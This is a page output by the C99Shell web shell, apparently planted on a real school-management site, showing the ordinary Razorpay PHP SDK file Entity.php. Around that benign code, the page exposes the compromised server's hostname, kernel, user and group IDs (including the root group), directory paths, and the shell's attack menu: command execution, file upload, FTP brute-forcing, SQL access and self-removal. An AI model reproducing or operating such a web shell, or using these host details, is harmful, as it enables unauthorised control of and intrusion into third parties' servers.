!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/school.picotech.app/public_html/vendor/razorpay/razorpay/src/   drwxr-xr-x
Free 28.19 GB of 117.98 GB (23.89%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Entity.php (5.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Razorpay\Api;

use 
Razorpay\Api\Errors;

class 
Entity extends Resource implements ArrayableInterface
{
    protected 
$attributes = array();
 
/**
     * Create method 
     *
     * @param array $attributes 
     * 
     */
    
protected function create($attributes null
    {
        
$entityUrl $this->getEntityUrl();
        
        return 
$this->request('POST'$entityUrl$attributes);
    }

    protected function 
fetch($id)
    {
        
$entityUrl $this->getEntityUrl();

        
$this->validateIdPresence($id);

        
$relativeUrl $entityUrl $id;
       
        return 
$this->request('GET'$relativeUrl);
    }

    protected function 
validateIdPresence($id)
    {
        if (
$id !== null)
        {
            return;
        }

        
$path explode('\\'get_class($this));
        
$class strtolower(array_pop($path));

        
$message 'The ' $class ' id provided is null';

        
$code Errors\ErrorCode::BAD_REQUEST_ERROR;

        throw new 
Errors\BadRequestError($message$code500);
    }

    protected function 
all($options = array())
    {
        
$entityUrl $this->getEntityUrl();
        
        return 
$this->request('GET'$entityUrl$options);
    }

    protected function 
getEntityUrl()
    {
        
$fullClassName get_class($this);
        
$pos strrpos($fullClassName'\\');
        
$className substr($fullClassName$pos 1);
        
$className $this->snakeCase($className);
        return 
$className.'s/';
    }

    protected function 
snakeCase($input)
    {
        
$delimiter '_';
        
$output preg_replace('/\s+/u'''ucwords($input));
        
$output preg_replace('/(.)(?=[A-Z])/u''$1'.$delimiter$output);
        
$output strtolower($output);
        return 
$output;
    }

    
/**
     * Makes a HTTP request using Request class and assuming the API returns
     * formatted entity or collection result, wraps the returned JSON as entity
     * and returns.
     *
     * @param string $method
     * @param string $relativeUrl
     * @param array  $data
     * @param array  $additionHeader
     * @param string $apiVersion
     *
     * @return Entity
     */
    
protected function request($method$relativeUrl$data null$apiVersion "v1")
    {
        
$request = new Request();

        
$response $request->request($method$relativeUrl$data$apiVersion);

        if ((isset(
$response['entity'])) and ($response['entity'] == $this->getEntity()))
        {
            
$this->fill($response);

            return 
$this;
        }
        else
        {
            return static::
buildEntity($response);
        }
    }
    
    
/**
     * Given the JSON response of an API call, wraps it to corresponding entity
     * class or a collection and returns the same.
     *
     * @param array $data
     *
     * @return Entity
     */
    
protected static function buildEntity($data)
    {
        
$entities = static::getDefinedEntitiesArray();

        if (isset(
$data['entity']))
        {
            if (
in_array($data['entity'], $entities))
            {
                
$class = static::getEntityClass($data['entity']);
                
$entity = new $class;
            }
            else
            {
                
$entity = new static;
            }
        }
        else
        {
            
$entity = new static;
        }

        
$entity->fill($data);

        return 
$entity;
    }

    protected static function 
getDefinedEntitiesArray()
    {
        return array(
            
'collection',
            
'payment',
            
'refund',
            
'order',
            
'customer',
            
'token',
            
'settlement');
    }

    protected static function 
getEntityClass($name)
    {
        return 
__NAMESPACE__.'\\'.ucfirst($name);
    }

    protected function 
getEntity()
    {
        
$class get_class($this);
        
$pos strrpos($class'\\');
        
$entity strtolower(substr($class$pos));

        return 
$entity;
    }

    public function 
fill($data)
    {
        
$attributes = array();
        
     if(
is_array($data))
     {   
        foreach (
$data as $key => $value)
        {
            if (
is_array($value))
            {
                if  (static::
isAssocArray($value) === false)
                {
                    
$collection = array();
                    foreach (
$value as $v)
                    {
                        if (
is_array($v))
                        {
                            
$entity = static::buildEntity($v);
                            
array_push($collection$entity);
                        }
                        else
                        {
                            
array_push($collection$v);
                        }
                    }
                    
$value $collection;
                }
                else
                {
                    
$value = static::buildEntity($value);
                }
            }

            
$attributes[$key] = $value;
        }
      }
        
$this->attributes $attributes;
    }

    public static function 
isAssocArray($arr)
    {
        return 
array_keys($arr) !== range(0count($arr) - 1);
    }

    public function 
toArray()
    {
        return 
$this->convertToArray($this->attributes);
    }

    protected function 
convertToArray($attributes)
    {
        
$array $attributes;

        foreach (
$attributes as $key => $value)
        {
            if (
is_object($value))
            {
                
$array[$key] = $value->toArray();
            }
            else if (
is_array($value) and self::isAssocArray($value) == false)
            {
                
$array[$key] = $this->convertToArray($value);
            }
        }

        return 
$array;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--